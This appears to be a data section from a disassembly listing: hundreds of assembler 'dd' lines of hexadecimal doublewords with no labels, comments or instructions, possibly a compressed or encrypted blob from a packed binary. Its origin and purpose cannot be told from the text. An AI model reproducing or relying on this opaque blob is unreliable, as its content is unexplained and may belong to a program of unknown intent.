		dd 4DF11023h, 0CD7E2054h, 100F0600h, 95FA1760h,	464F00CFh
		dd 0F97555B6h, 7F03422Dh, 1447E96Ch, 9632B093h,	651201A9h
		dd 57DAE15Bh, 3C08BBB3h, 78CB0055h, 8341E9F8h, 0A3073A19h
		dd 58A82100h, 0C1DDBB04h, 0C28E6207h, 89403C26h, 0E3186Bh
		dd 88C65FA0h, 9B9EA9CAh, 32B201Ch, 0A3901E80h, 313366Bh
		dd 0F94310CFh, 0B889593h, 940E1960h, 0A0CB2B02h, 6B168CB6h
		dd 3A320C4Ah, 0D2200FF8h, 6E277C00h, 3BAF0C9Eh,	47D6002Bh
		dd 700FEBB9h, 0B7008A44h, 0F3FAD75Eh, 0B5A254h,	45B656B8h
		dd 0AB1B3D6Fh, 4B84071Eh, 400BB3C0h, 7A7128B7h,	0CB1700CDh
		dd 2997AFF0h, 0F2005E12h, 62AADDA2h, 0E1C8Bh, 1BF95A39h
		dd 0E001D2C4h, 0B43BE705h, 0CB80B104h, 76D5E83Dh, 0E5D00065h
		dd 0BE4A0BB8h, 0BF0F6232h, 42E90D85h, 0E09C9475h, 46493Dh
		dd 331798C8h, 0F71FC6F1h, 90291800h, 0D3E13FF3h, 53960BE5h
		dd 1380B257h, 8D8FCCD7h, 0EB6EBA00h, 3D703160h,	17390084h
		dd 208ED2F4h, 48008C9Ch, 0A576D8E0h, 7D4CDFh, 0A34139FCh
		dd 9570C9C3h, 6553A600h, 62483DB9h, 5AA7007Ah, 28DFBB1Eh
		dd 9509D4CFh, 120D4Ah, 0DE9EAD86h, 0A4DA3019h, 674810D0h
		dd 9890C800h, 443DF440h, 2B1300B9h, 281BB330h, 0E706737Bh
		dd 7D5ECCC6h, 4126E429h, 10DEC14Ah, 80E866AFh, 6C8962C9h
		dd 3503A108h, 0D3281C75h, 8B5111E3h, 0D6500866h, 75FF0C45h
		dd 22844729h, 0E4106E6Dh, 820C49FBh, 0EB786506h, 0C7083E74h
		dd 8498E9CCh, 343F1C8h,	11666E6Bh, 11421F28h, 0DC0CCB33h
		dd 1D7948D9h, 0E8090389h, 83839136h, 0B5C8012Dh, 1ACAEC6Bh
		dd 9D11D44Eh, 717FBF04h, 46802690h, 0FF590Ah, 0F0DEF323h
		dd 79A1F666h, 0E43F1100h, 19FE95C8h, 13EF00B5h,	3F7618Bh
		dd 0C53BCDEEh, 6AA800Bh, 0D4291FFFh, 4670063h, 154DFACBh
		dd 6E000872h, 16AE368Ch, 2E14A3h, 96482ABAh, 0BCB34D7Ah
		dd 111E1200h, 18A63C69h, 958200C5h, 0D56D1DFCh,	843FEC45h
		dd 2A4784EAh, 4F80A40Dh, 0B03953h, 3843C341h, 2CE69A85h
		dd 0F4EE5800h, 0F71E572Bh, 7D88005Bh, 8F68A004h, 9E07F253h
		dd 0DDC5675Ch, 0F52C8100h, 0B31F0031h, 0CC530952h, 7400EF88h
		dd 0CB07E125h, 519971h,	0DB292EAFh, 5FCFEEA7h, 0FA7D4900h
		dd 4D0D3B74h, 0D621007Bh, 0F640DAB0h, 9B00F2BAh, 38E20A65h
		dd 1E3E10FFh, 0C5E0420Eh, 0BCC2F631h, 9C110032h, 88B59882h
		dd 464D0366h, 51B36C94h, 53C81E8h, 2D173600h, 1C613B33h
		dd 570E0732h, 10F7BD14h, 6B36A7D7h, 4D70C514h, 46BE0093h
		dd 0FCCE57A0h, 305C0026h, 42A82511h, 0CB0F7F75h, 7775665h
		dd 7B50911Dh, 0FA74D5AEh, 253A0779h, 80F394CCh,	0BE2623E0h
		dd 1CD11E00h, 0ED8E6D63h, 9A460FC9h, 71209366h,	0E76C2912h
		dd 0A60FCF78h, 0C10678FCh, 4875DBB3h, 7A2276C4h, 0EADF0042h
		dd 3920241Dh, 0A5001EE4h, 0E291DA92h, 0A394FAh,	6E37E91Ah
		dd 4E580EA8h, 0F40ED0F8h, 0A0B2BB34h, 0A575C5CFh, 0EA600007h
		dd 0E03BB3C7h, 0A700AC1Ah, 671582DDh, 944D13h, 4CE6C807h
		dd 0FEF1195Bh, 4FA90E00h, 217630C0h, 27390045h,	705634E7h
		dd 7375E861h, 88C7B200h, 1354F20Dh, 0AB803A9Fh,	0F700FB3Eh
		dd 0A2BB8507h, 1B008B9Eh, 1E4F5F30h, 0E04666h, 56AFC7EEh
		dd 206E8DC3h, 33CF30Eh,	2B24E5C0h, 6DB5AEC1h, 1195C8h
		dd 700D389Eh, 92D526BBh, 0D4994F0Eh, 0BC740F5h,	58F89F98h
		dd 0BE00FD62h, 2B96B1CFh, 92000940h, 80E56BBDh,	1F9BDD84h
		dd 8998B03Ch, 140261EDh, 610E6DFEh, 7BBD23D3h, 6869DCh
		dd 0E4E142D0h, 4A56BF28h, 0AC1ED4F1h, 91B43501h, 7094343Ah
		dd 0E851D8h, 0D4642041h, 0EBBD2CF2h, 0FC3E4403h, 26B12Ah
		dd 0F30B8D10h, 0B6EA1163h, 98591828h, 0D0E90F00h, 0AC3BB989h
		dd 63D0FF5Dh, 854D3093h, 60C4C520h, 546A9E00h, 23EE1CF9h
		dd 23064CB5h, 3916C840h, 0EB00D442h, 0CAEA24F5h, 0A400223Eh
		dd 0B63FDE48h, 5CC01Eh,	0AD85A29h, 0D195E7BAh, 2D5DFB02h
		dd 0E0F2AED4h, 3EFC67Bh, 8512E964h, 2E90B301h, 0FDF0CF47h
		dd 319AA500h, 0D78E230Eh, 9A600BAh, 0BCB98DC7h,	8C00C2ACh
		dd 0D091428Fh, 52CAF1h,	1A90C9E2h, 3819481Ch, 0ABEFBA00h
		dd 3E918F33h, 86B200D0h, 0A0055C0Ah, 0DE00B19Fh, 7A260EE5h
		dd 7745B981h, 4E270058h, 43EE179Ah, 0F9004010h,	6C726F0Ch
		dd 20F3CAh
		dd 8981ADF7h, 0E6386A24h, 8B4ABB00h, 0E1746D19h, 0CB671C6Eh
		dd 0C1C3C0F5h, 0DF7BFFD6h, 56491400h, 0A83D93DCh, 211A0E7Ah
		dd 942015BAh, 0BD63D842h, 0B8992400h, 2941CAD6h, 0F2E4037Bh
		dd 8ECC286h, 7CE0C1F8h,	0A905950Fh, 23AA4004h, 390DE3CCh
		dd 0B5801359h, 0CE8F814h, 9A00A1BBh, 838F7B45h,	0B11117h
		dd 0CEC58E18h, 3FF7589h, 529B350Eh, 0AB9260F0h,	125461Ah
		dd 80FAA415h, 702655DFh, 0A9380DC4h, 0AC1907DAh, 0E30BFB4h
		dd 0DD1597h, 0BD3E27Ch,	0C7BCCF4h, 0CE027360h, 7F2620E1h
		dd 5CC80E96h, 6D00856Ah, 5802F989h, 3824E400h, 14BCB44h
		dd 4A323A6Eh, 9BEC2680h, 52A6035Ch, 0DF5BE70Eh,	0B1880078h
		dd 946316h, 0A756CE36h,	42A3DEB0h, 62AB1D00h, 0A8CB97E8h
		dd 7B100AEh, 86BC589Ah,	74002F0Eh, 524BCA90h, 13E2946h
		dd 0C6C2DB01h, 0C87A8671h, 650049C8h, 0D4105DFEh, 0AF107h
		dd 0BA3E807Ch, 0FCAE957Bh, 4D006A90h, 77EF1BC9h, 0A9F00Eh
		dd 3FA3DD2Fh, 0FC4FE435h, 7EC91403h, 0E008B785h, 73C2230h
		dd 2713A853h, 0FE32F0EAh, 0CCE4A18Ah, 0C91E3F7Ch, 0DC048EEh
		dd 7D2BF6D2h, 0FA660092h, 0E34310D7h, 0A100E6C2h, 96B9EBF1h
		dd 0C917B8h, 33812F4Fh,	0E63491FEh, 0A7ADF800h,	0B20E8DACh
		dd 136100DCh, 0F98BB76h, 70000C34h, 0B1F64D89h,	7743B38Ch
		dd 0AB4E01BFh, 0A09908A1h, 814FF8AAh, 3B7F5700h, 18EC346Ah
		dd 39933853h, 14616000h, 3A3F1999h, 7A121D00h, 226C5CCCh
		dd 2E0F3F3Bh, 0F98BD0h,	89363293h, 6AFBB67Dh, 1D00F27Bh
		dd 691CFEC5h, 533E0Bh, 840229AEh, 20EB2FE9h, 0BA240500h
		dd 6655CF96h, 7EE071h, 0F8281680h, 32AD0F95h, 0A20788E6h
		dd 4A11FC4Ch, 0F0EC22A3h, 65FA9Eh, 826D7320h, 0BBD94474h
		dd 80C38700h, 33CD0FB9h, 47A6480Bh, 0AE8B1205h,	0E1FCC02Dh
		dd 240136B3h, 67B6CED7h, 5C0D20Ah, 9EFB00A3h, 7C22046h
		dd 0FF0EB292h, 0E0CE59C7h, 438D9FB6h, 0D8180332h, 0C28796C6h
		dd 5CDA4CD8h, 0DDCB2100h, 13C561E8h, 0A1AE0055h, 7A22F366h
		dd 0C0006A15h, 0AB339372h, 24E6FEh, 0AADCFA80h,	0AC356617h
		dd 75C8DF00h, 5D91E21Eh, 18CFCE8h, 0BED41925h, 0C48AFFCEh
		dd 7D02816Dh, 0B0FC4AD6h, 326DC0D7h, 57104B3h, 83B54053h
		dd 58E8D078h, 0E200999Bh, 75E7F2B8h, 0F533E384h, 392B3DCh
		dd 936543DFh, 27A037BCh, 0DE1F3498h, 0D4C1F94Ch, 0A0C81A3Ah
		dd 3D327170h, 2C803E52h, 6B742CFh, 0BC139A1Eh, 4500357Ah
		dd 0C7713976h, 0CF500028h, 68E82D8Fh, 0F4FDE663h, 0FB7B5A58h
		dd 0C0E34100h, 75DDB511h, 28C460C6h, 0B874543Ah, 9B13147Ah
		dd 9B00F395h, 0D52EE317h, 0FD0E0043h, 39714001h, 40FFC32h
		dd 63859502h, 0D8C8C791h, 3C629D12h, 7539E34Fh,	67103187h
		dd 0BA66D022h, 9C0044B6h, 0BC8F659Eh, 13766B71h, 8C6055h
		dd 2281B4F4h, 0D0005D38h, 440797A1h, 50F33Ah, 569885C5h
		dd 0D5E3CA1Fh, 5801D372h, 0E010B253h, 0EAD02A54h, 90CFE02Eh
		dd 0BA2F0870h, 151FF8F0h, 3AE524Bh, 0D8F79760h,	1BF7D8Dh
		dd 0F1714582h, 0FCFF67CDh, 0A509F611h, 99A26Bh,	0D278B670h
		dd 504F5CD9h, 21CFBD00h, 0FB8A063Bh, 32B25700h,	444D7FD8h
		dd 0EEA93CE8h, 0FF780B76h, 0E3034AF4h, 7F8671Fh, 0C9032873h
		dd 3DFA2E72h, 7B60D840h, 7DCB000Dh, 0BAC17FD7h,	0ED00CF36h
		dd 55F80629h, 0D131E6h,	0BB9AFC45h, 277BEC28h, 2D752B0Eh
		dd 0DECB2050h, 27D209D6h, 0D9C00F1Fh, 9300AFE4h, 6206A337h
		dd 5CC0591Ch, 0F304598Ah, 80265E21h, 7BC61873h,	0A74D5C00h
		dd 827E6EE7h, 0DE91001Dh, 0EEB9608Ch, 6B7F9678h, 0B8C08300h
		dd 7931BCF0h, 5B350AA9h, 0D991CEh, 50880877h, 5000389h
		dd 0C232E85Eh, 0F07A63h, 13075CB2h, 707B28EEh, 5A4F2900h
		dd 0F099D1Ch, 7F7758F0h, 72C81375h, 0D8D802D7h,	8A8905CFh
		dd 45A5EC83h, 0DFBBCD80h, 0C9032F4h, 69C80900h,	0B20FBF1h
		dd 0DBF90029h, 30049FBEh, 0EC0B9C78h, 80D580F5h, 0C85B5349h
		dd 792ECCAh, 5216A560h,	573799h, 364DDE37h, 4A4FD601h
		dd 0CFA9D206h, 0ED0AD31h, 0BDFC03D5h, 0A2076942h, 62B778C0h
		dd 3DE863Dh, 0F7F9873Bh, 7CE8F06Fh, 66303B0Ch, 0D4D6EF94h
		dd 52C617h, 1F0B892Ch, 0E9001AB2h, 0B34A8D94h, 1D5EC10Ah
		dd 31D02Dh, 5AF672D2h, 230F353Dh, 971A97F9h, 0EB8C1B05h
		dd 825CA980h, 0DCA401E8h, 6E9B4CE6h, 2022612Dh,	3E03C2D9h
		dd 0F5FFF0C0h, 0E4A2C0B5h, 2583004Eh, 13014508h, 470042EDh
		dd 4997227h, 3A50D937h,	0F4000221h, 0ED82E286h,	6008094h
		dd 0EFFE0839h, 2C62B803h, 9F95B99h, 0D480836Bh,	3A4C64D1h
		dd 7DB2F200h, 0ED8DE53h, 6AF83F48h, 0EA70FD00h,	6BCA550h
		dd 61166900h, 0EF0C91F1h, 5C2E0085h, 76AB374Bh,	0E500C51Ch
		dd 0CA5AED93h, 18B53272h, 4802C4AFh, 0B8000AEBh, 814D6FB6h
		dd 0FA258E3h, 47E0234Fh, 0D395F5A3h, 38F965C0h,	7A074890h
		dd 0B4EF0185h, 0E8972B0h, 0FAE7F34h, 7C9F322Ch,	80291A25h
		dd 552A8A84h, 4F12402h,	0C0196E8Dh, 38515318h, 0E43E166Bh
		dd 0F3DD3CF8h, 66D2AE80h, 0D00D6D21h, 5001F2F0h, 8AC0559h
		dd 0FE34353Ch, 0A1270055h, 0F70646FEh, 54076A4Bh, 7EF06F15h
		dd 525B86E0h, 0C60016Bh, 7AFDE040h, 0CBD56022h,	3412F500h
		dd 33DC8DD7h, 265002Eh,	0DA257301h, 0F10218FBh,	3166AAA8h
		dd 0BB706020h, 4E3F00BAh, 2356960Bh, 601989Ah, 0A954ABCCh
		dd 69F1CFCBh, 0EF0F9F8h, 0EBF40952h, 46578340h,	0DA075594h
		dd 0AD459C67h, 0B0DD4310h, 6FAF0304h, 774C58B8h, 9CA44085h
		dd 0F1678091h, 6A34091Dh, 4913BE40h, 3560E98h, 9AA7FCC7h
		dd 0C3A07E77h, 0F400FA2Ch, 724E53Ch, 0DB8254h, 7CE2926Bh
		dd 12D8581Bh, 0AFB41700h, 63ED85FDh, 7E07CABh, 8E95C005h
		dd 73609EFEh, 0EC218D97h, 1A56451Fh, 0E9B32E80h, 0EE92E7h
		dd 79DC31D8h, 0D938442Ah, 0FBC6561Ch, 6E463F00h, 0B7E1EFh
		dd 9F0869DDh, 2CE2C818h, 1FDFEA00h, 4CC99C8Dh, 0FC3A003Eh
		dd 0CFF36112h, 24B0A2B4h, 0B168AC00h, 0BF8A0FE3h, 434F00D1h
		dd 8D27F84Ah, 0B7008FFEh, 0F2A8D39Dh, 0F77AC2h,	10BA2938h
		dd 0E2430541h, 274E9B09h, 2E858633h, 11127A10h,	0E4F650h
		dd 9D842AA5h, 3D75A1F7h, 93170ED6h, 0FFF40023h,	76D12006h
		dd 0E96F7400h, 3DE3C55Dh, 0AE8F0072h, 0A78E7E39h, 0B9008244h
		dd 0B477479Ah, 0C131EBh, 0A98D374Dh, 2A6E0D62h,	26E3A100h
		dd 78987A34h, 209109A3h, 3000FEDDh, 618F5C9Ch, 0C0002477h
		dd 8D4D10F4h, 0F23F3Ah,	746F6E43h, 0A9097C1Eh, 78836303h
		dd 0D8C0C77Ah, 0BEB9E9h, 77EE8853h, 8416F7F0h, 6F620F00h
		dd 0BCF2F573h, 0DC0D0907h, 287CE6A2h, 0B52A9D00h, 8B7C91h
		dd 0E3E99B17h, 3FB9CF9Fh, 0AA3A601h, 76051E67h,	72ABD6E4h
		dd 278A7h, 5C7153EBh, 469CA6D8h, 12006D78h, 7A737DA4h
		dd 3DFDEBECh, 4D9E9E05h, 3D49C403h, 2982AAFFh, 315DC06Fh
		dd 180D0170h, 0ACA35E42h, 0BF93DCF5h, 69809000h, 0CC56955Bh
		dd 23FF00A4h, 0AD576365h, 282545E0h, 2A88006Ah,	0F1FD04h
		dd 99B3658Eh, 415DED2Bh, 0F388911Dh, 0D1FA8142h, 0A344E620h
		dd 0B1C1A820h, 40252E53h, 2F270072h, 22BC355Eh,	0A5C1B00h
		dd 0F45DC564h, 0FD160BD8h, 4882E548h, 38E027E3h, 7100CE51h
		dd 89391012h, 1053729h
		dd 29804B1h, 2C35CDC6h,	0E097034Ch, 0F80EB308h,	0FBEF1Eh
		dd 83DBD950h, 24DF9BAFh, 23A388A0h, 13B25F00h, 495B31EAh
		dd 504C395Eh, 40B1289Fh, 83ED65D4h, 0E898E801h,	0ACB38D00h
		dd 0A99A4ED9h, 3FECEF6Ah, 0D6AE3A7Bh, 0D36B1500h, 0C5E77848h
		dd 318BF401h, 0F8E5C2E8h, 10814F8h, 22879CCCh, 0F426B6D7h
		dd 190196B0h, 3BE77D5h,	0DED0C417h, 4B930007h, 2CECAC6Fh
		dd 0A80E6DE7h, 64F1AFE6h, 0D8C0889Ah, 0B7A59646h, 0C209CBF0h
		dd 0A0832107h, 0AF5BABD4h, 38DC7E66h, 74FD6781h, 0DF730016h
		dd 2C10C698h, 11900B24h, 7D2DEA04h, 7F8794E8h, 1414800Bh
		dd 99259517h, 992F03D8h, 1CC6F5A5h, 0FACEBA07h,	0EAE321F1h
		dd 6788D07Ch, 0C0E00063h, 0F616339Fh, 0A609E12Fh, 7DED1D94h
		dd 0E50049F8h, 80BBC6Ah, 16C3E54h, 0C12F26Bh, 0CEFB83AFh
		dd 0C69CE860h, 9DEFF903h, 0A8115BA8h, 3DF93h, 90EE0257h
		dd 778CFFB8h, 0AFD0D160h, 0AEBD768h, 0B78D34E0h, 80D215A8h
		dd 2AFA6100h, 0A5E32FCBh, 344F7F00h, 0C412D7BFh, 66FEB0h
		dd 0F58B1E63h, 0F6A4EA4Dh, 2C086500h, 7ABA586Dh, 4A9B000Ah
		dd 0FF4FEDE2h, 0F4962259h, 0F1DA80BAh, 0EFC0C6B2h, 0AB3D0061h
		dd 381DAD13h, 7100F07Fh, 4FEE6479h, 7D9D05h, 0B7FDA3D5h
		dd 0A63C1DE7h, 33F07300h, 0AAB93408h, 362E140Fh, 67F8FBBh
		dd 0FF874D04h, 55E840A6h, 0A9B6200h, 76265F9Eh,	6C3F09ACh
		dd 88010121h, 0C84B599Dh, 74002ED8h, 83B10B56h,	108EA8h
		dd 9FCF94A9h, 2E2848E0h, 87004374h, 80893B7Eh, 84815Ah
		dd 1E77F04Ch, 0CAEC46FAh, 0CB26F4F4h, 9D0082C0h, 2519E1Ah
		dd 3DDB00EAh, 6F778D6Ah, 0C23C2BB9h, 0F132878Ah, 0F9C0A88Fh
		dd 0B59C72h, 74B34F22h,	642EFAD5h, 0BCA18C00h, 5C77CCFCh
		dd 0CD8B00F9h, 7B5D23B7h, 0A800183Dh, 0A9F5E865h, 19D5962Dh
		dd 0CEC1E555h, 1AA6FC1Ch, 679EA700h, 3DFE32ADh,	0C4D0007h
		dd 4A4E6D85h, 9D003C90h, 0D829F8DFh, 90B554A7h,	24CC00E8h
		dd 71226121h, 6EE44519h, 7668BB00h, 0E02AA83Ah,	0FA993038h
		dd 0C4597FA4h, 0EF55100h, 340CF910h, 1E65008Ah,	6BD7CE33h
		dd 0E7007D74h, 67B4BBC8h, 0F2945B39h, 8F2E00F8h, 0A40E1A1Dh
		dd 0ED00C7C9h, 0AEB607C4h, 5CF232E8h, 7F3A908Dh, 0FFBF4600h
		dd 3D60055Bh, 2F35311Dh, 4957BA00h, 98A0CC91h, 53FC2Ch
		dd 0E5CD85CEh, 6B3211AAh, 41F4B054h, 336F2601h,	0D653921Ah
		dd 49F973C4h, 84040CB5h, 0C32D6ECBh, 9F912F13h,	7EEC404Bh
		dd 0B90BA350h, 10DEA37h, 824956A0h, 65C18028h, 0D8FF64CDh
		dd 0EF07E254h, 0DA2403AEh, 0D5FE7750h, 6FDD189Ch, 2EA64063h
		dd 99BBB400h, 4FAF5471h, 0DBE418A5h, 2F32C0B6h,	0A4475703h
		dd 707693Dh, 37F0C4B8h,	23CF093h, 2F00306Eh, 0BF8D7EFFh
		dd 0F9745E4h, 6468C015h, 0A79842A0h, 6560CFB4h,	90E61350h
		dd 93E90052h, 4071397Ch, 0C600CE46h, 0AF4CDE4Ah, 7C69D825h
		dd 1DCC0090h, 56D706FCh, 47391C8Fh, 4E1A412h, 0A12A630Eh
		dd 11C93FFFh, 0BBA48FCh, 1C0279C7h, 0E2241480h,	0AA000C97h
		dd 0D0452FA0h, 9E3C6Bh,	916A89D2h, 3F14AD99h, 29C7F400h
		dd 68DB5665h, 0FC6C7771h, 0B03800CDh, 48910B2Eh, 43E8F8C2h
		dd 0ABEF3F01h, 0F96EF581h, 3C6E30h, 8271A825h, 93197DE4h
		dd 42E9291Eh, 0CA308540h, 79D6987h, 0AF1F1422h,	0D03F048h
		dd 92012BEBh, 0FC1E8E75h, 9042AEE3h, 13808004h,	4EE20FF6h
		dd 0EA3C007Dh, 3911B833h, 0E340AF00h, 0CA55AA02h, 6E830373h
		dd 2F174F2Eh, 0DA3A0B0h, 1EB57600h, 47AF50D7h, 82E0BEh
		dd 61F03EF1h, 0B76B978Eh, 607F4E00h, 0C6109F99h, 0C7CC1EEAh
		dd 0AC064096h, 834F37B8h, 6AD37E13h, 95C5E41Eh,	0A3802513h
		dd 0FCF76FDEh, 0BB071C10h, 0D8DB079Bh, 0C99FC033h, 30EF090Ch
		dd 0FC1EE7CCh, 0E1000801h, 0B83585B7h, 0C8BD1FF9h, 964E81D7h
		dd 300CD064h, 3C3A24A4h, 6E4B001Eh, 1D83D82Fh, 705C00C3h
		dd 686ABDADh, 170EFB21h, 20AE350Ah, 74EF7E19h, 80691F9Bh
		dd 10970002h, 0B1E46D25h, 0F1A43Eh, 4FFD0E30h, 78248ECh
		dd 4362C1F5h, 8339D133h, 0CCE6FC42h, 0B00417Eh,	0D0A8DD81h
		dd 85DCC9h, 959A2FBAh, 836E1D42h, 0AAD42300h, 17487672h
		dd 7280771h, 0E7C1A2F7h, 0CD406045h, 151D86E3h,	0B200BB51h
		dd 0A065AC39h, 6540048h, 1760DFB4h, 0C4003BF1h,	1CF24E40h
		dd 7FAEB3E8h, 86D0EA8h,	0C3C024F0h, 0F23810ADh,	0A1899201h
		dd 90674785h, 2043C0CBh, 0CDF0167Ch, 28680094h,	4579ACE9h
		dd 86F24B0Fh, 0C33616Bh, 0F0C8B9FFh, 0C30185F8h, 687D97C2h
		dd 0BFF0F8D3h, 596D00C9h, 0E3D840E8h, 9501AD23h, 0BBB8BE32h
		dd 94E0242Ah, 0B53F0782h, 0C0E8E6A0h, 95B37BA6h, 0B71DC700h
		dd 858DE0AEh, 1AF500D4h, 0F89B09FAh, 0AD1CB9CCh, 5DC0146Fh
		dd 60B1E6B6h, 341200F4h, 119203C7h, 42035844h, 0CB40C162h
		dd 0B6F0C11Fh, 72041028h, 0C0CFBD0Bh, 0F4C05654h, 3C51E4FDh
		dd 6AD7CD03h, 0D8B222ACh, 1FBCBA97h, 0BC460F96h, 408B239Eh
		dd 13E70CAh, 0F20E4294h, 0B6964AADh, 5EAB6500h,	0EAC5A56Ch
		dd 1FCD3912h, 0C621FE87h, 112F3085h, 9F00527Fh,	79B9B099h
		dd 786630h, 0E87C4DC7h,	0D782802Bh, 0DD005D70h,	0A25A278Eh
		dd 794269A0h, 80990073h, 7D48A72Ah, 920B72ADh, 0D29627h
		dd 68CFDC36h, 198601C5h, 0DBB0BD9Fh, 7A95F4A7h,	76935501h
		dd 3C28DFF6h, 0A8CBF8h,	0CF23B851h, 7BE9D512h, 4400917Dh
		dd 68038FF4h, 0E2EDADFBh, 949F00F2h, 0C06F3241h, 0D40F271Dh
		dd 0A0936564h, 0BC3E43E6h, 0CFE279Ah, 0A8C4009Dh, 0BD7CC164h
		dd 299330B1h, 0D22B360Ah, 0D91CE858h, 0F2E0A64Ah, 0E694D800h
		dd 0B052BAB3h, 0A9541F64h, 21ED40ACh, 8D3878E2h, 0EF879EBh
		dd 0E0A17692h, 0B2751799h, 0B5713A2Eh, 68451680h, 3E94DC5Dh
		dd 4C606700h, 6CB4EC07h, 127CF5h, 7ED7B8E1h, 6B61F83Ah
		dd 4B00987Dh, 119CB0F4h, 12755Fh, 23E98252h, 4E34B795h
		dd 5538B500h, 0E43C5ECBh, 2F877173h, 75D619A9h,	538A6C00h
		dd 9BBDE3Fh, 0E6115FCFh, 95819B00h, 15383D2Ah, 7DC889C4h
		dd 0E8080FCh, 1211ACAh,	0F39BA835h, 0E4D55EC5h,	98000F9Dh
		dd 642763FAh, 90380788h, 111300E8h, 53473934h, 0A0005823h
		dd 489AC42Dh, 0E87414B9h, 0B73B00F5h, 82EA8C19h, 471D1260h
		dd 9C1E8494h, 0F9593FC7h, 8A1F49E0h, 1D970031h,	0AFF2411h
		dd 8607EA84h, 0BCC7023h, 0F4279DF0h, 15303C4Eh,	80B84D2Eh
		dd 0A3C6FC66h, 0F600D4B0h, 0AB023DF5h, 5D9E6Ch,	0F7311C7Ah
		dd 0E574C47Ch, 4D005CF6h, 0A2A1DD37h, 0FB3C62h,	0FDE7EEB4h
		dd 0DA29D744h, 89D88F00h, 87AE7D14h, 0DC4A00F3h, 0A7CF3A34h
		dd 0C000B41h, 0D9857F45h, 0D28A53h, 2820EF3Eh, 0BC292CB4h
		dd 0D169C00h, 6896C1A4h, 20C076Ch, 0FC010D3h, 5782E08Bh
		dd 9EE0BA13h, 7002CA5h,	8D4905E2h, 10128C1h, 0CE59169Eh
		dd 0CCBE4576h, 9300482Eh, 5C3A4E4Dh, 3B27549Ch,	1C003CACh
		dd 98871FE5h, 8D002B13h, 0EA39ED64h, 0A58010h, 9F7ACC73h
		dd 70F97C51h, 2C759300h, 5B017D6Eh, 1997A9Ch, 8306A1D7h
		dd 7CE5A3DFh, 90470058h, 5527652Fh, 778E0087h, 0AEFAD742h
		dd 1E0012A7h, 0BED04947h, 0F4611D1Ch, 0D2300ECh, 0AE370F04h
		dd 0E200DD0Ch, 0DFE88452h, 56B56Ah, 0BCED2902h,	4B477DC5h
		dd 835A3C00h, 1DE54958h
		dd 0C2B30794h, 90D0651Bh, 34A41E5Dh, 16E64A00h,	9AA9246h
		dd 0B8C23EE0h, 0C383A33Ch, 0D267BC5Eh, 56E72CABh, 360772BEh
		dd 5BAD41A4h, 0F0883AB1h, 71324D8h, 0D33E580Ah,	7CC77051h
		dd 44000E26h, 5596B0CDh, 3742E760h, 35E06C5Bh, 785FC07Fh
		dd 0AB00C78Ch, 11EFCA59h, 15AE4E0h, 3B6F2589h, 0F0C85D92h
		dd 0B5005CF5h, 19545672h, 0CCB95Fh, 8B859862h, 4F76C3F7h
		dd 528D0E0Fh, 4A33607Fh, 7A2E1AAh, 0F7CA6044h, 7FCE37ECh
		dd 7370DE61h, 0E8D68111h, 87F5B6C6h, 805ECh, 0DD1F82BEh
		dd 29636104h, 14E33400h, 0CA73C2BBh, 4E810056h,	0ABE9FAF1h
		dd 0FB00582Fh, 0E3E7E1B7h, 2902044h, 0B0A4C91Dh, 6BC0F439h
		dd 84048A5Dh, 0AFE39F2Ch, 0D81EEFC3h, 0F8C3B49h, 9377FE24h
		dd 0E7E21D60h, 990B45B3h, 0AC968Ah, 2FE80C84h, 931A3916h
		dd 2B803CD8h, 2715EB5h,	0A26BA600h, 823B8065h, 0E22D001Dh
		dd 0EA7E472Ch, 0A07E76Ch, 0EF53B2ABh, 3443EEE0h, 2DA6173Ch
		dd 0FF7C2001h, 0C83CE5EBh, 9B007FC0h, 8DC4F405h, 0F4DD80DEh
		dd 45A100CEh, 315A54A6h, 0B00E5B9h, 0D968E889h,	0C4F63CDBh
		dd 0ACD201A8h, 0E5FF00C4h, 0A3B04861h, 322E07F2h, 6B2471D5h
		dd 0CFA44503h, 0A6C81CD3h, 0C00052A2h, 6A692BFEh, 4C2A0674h
		dd 7700CC81h, 3A43850h,	11190F8Dh, 0DB98CDCEh, 5EC4D7E0h
		dd 34D00AFDh, 0F1E54064h, 0E900B02Eh, 0A63D49D1h, 50140171h
		dd 10517424h, 60130783h, 3FEDC8C8h, 5C290023h, 42FCB995h
		dd 5200D97Dh, 0A719CFA6h, 5853276Eh, 0C062654Dh, 57E02082h
		dd 0C4B0A543h, 3E001871h, 303586EEh, 710BC0EFh,	2C62011Fh
		dd 0F2124016h, 6A3BC029h, 18A98A00h, 0EBF5E9B4h, 81AE1F71h
		dd 3EBC0089h, 4890DE55h, 0DACE0700h, 0E0954223h, 499A0EBAh
		dd 37649252h, 690FC038h, 7D58640Dh, 0CCF90367h,	0A08ADFE6h
		dd 98ED3973h, 7FFB0F5Fh, 0F20098C6h, 20F62651h,	0BE88FA00h
		dd 7D85B23Eh, 99C21492h, 758C12h, 49A09C0Ah, 0DD04ACFFh
		dd 0E97E5B1Eh, 0C9120F00h, 7FDCBF93h, 14F4A04Ah, 9FF81E17h
		dd 40089891h, 0E758B1A8h, 55B00020h, 2E3F9933h,	8B7F159Dh
		dd 343DE806h, 300D9E98h, 0EB044CAFh, 0A31D85EAh, 0F34EEC80h
		dd 0E710770h, 0F07F143Ch, 0E8F2B733h, 7C4AD205h, 0E0030F2Dh
		dd 95D9E112h, 0A82354C7h, 41790040h, 6AF5118Dh,	3100D94Ah
		dd 1FF8BFC6h, 0F29B433h, 537B5663h, 772929Fh, 0E109E13Ch
		dd 0F483EB80h, 0B000E974h, 39F54E79h, 606B5CD7h, 0D87D58E4h
		dd 41FA6932h, 0ACD48700h, 1C393D6Ch, 0A0C4024Ah, 8E94EC35h
		dd 0C2123DDCh, 0ACD0A000h, 1C29ADh, 707439C1h, 9C969F7Ch
		dd 2477C20Ah, 67009C7Ah, 0E89330A3h, 6ABB04D4h,	856191A8h
		dd 0EBA001B0h, 87C05B9Ch, 0B76EEA18h, 0DDB66C20h, 920E05F2h
		dd 54F26h, 2552CE88h, 5F28DADFh, 7C008CE0h, 1946FECh, 0FC568F4h
		dd 0CD463C22h, 0FC12F240h, 0B4006179h, 9CCF962Dh, 17F1A36h
		dd 2BD91464h, 802320C4h, 0FD7565C8h, 7D194Bh, 3EEDE05Ch
		dd 30DBFF79h, 6712E603h, 8044AD76h, 5ECE7Ch, 0A1383D15h
		dd 31DDE1DFh, 0A6329A0Eh, 0C84400A7h, 0EDC70Ah,	0E94641D0h
		dd 1C3EB1DAh, 288F3235h, 44402D1Ch, 9B51383h, 75F14CC9h
		dd 0F01A23Bh, 2291E629h, 30803E89h, 0AB1DC8h, 7E9240D6h
		dd 91C7F43Dh, 0BBA78600h, 0E52130ADh, 0FAE3007Fh, 69E7D83Ch
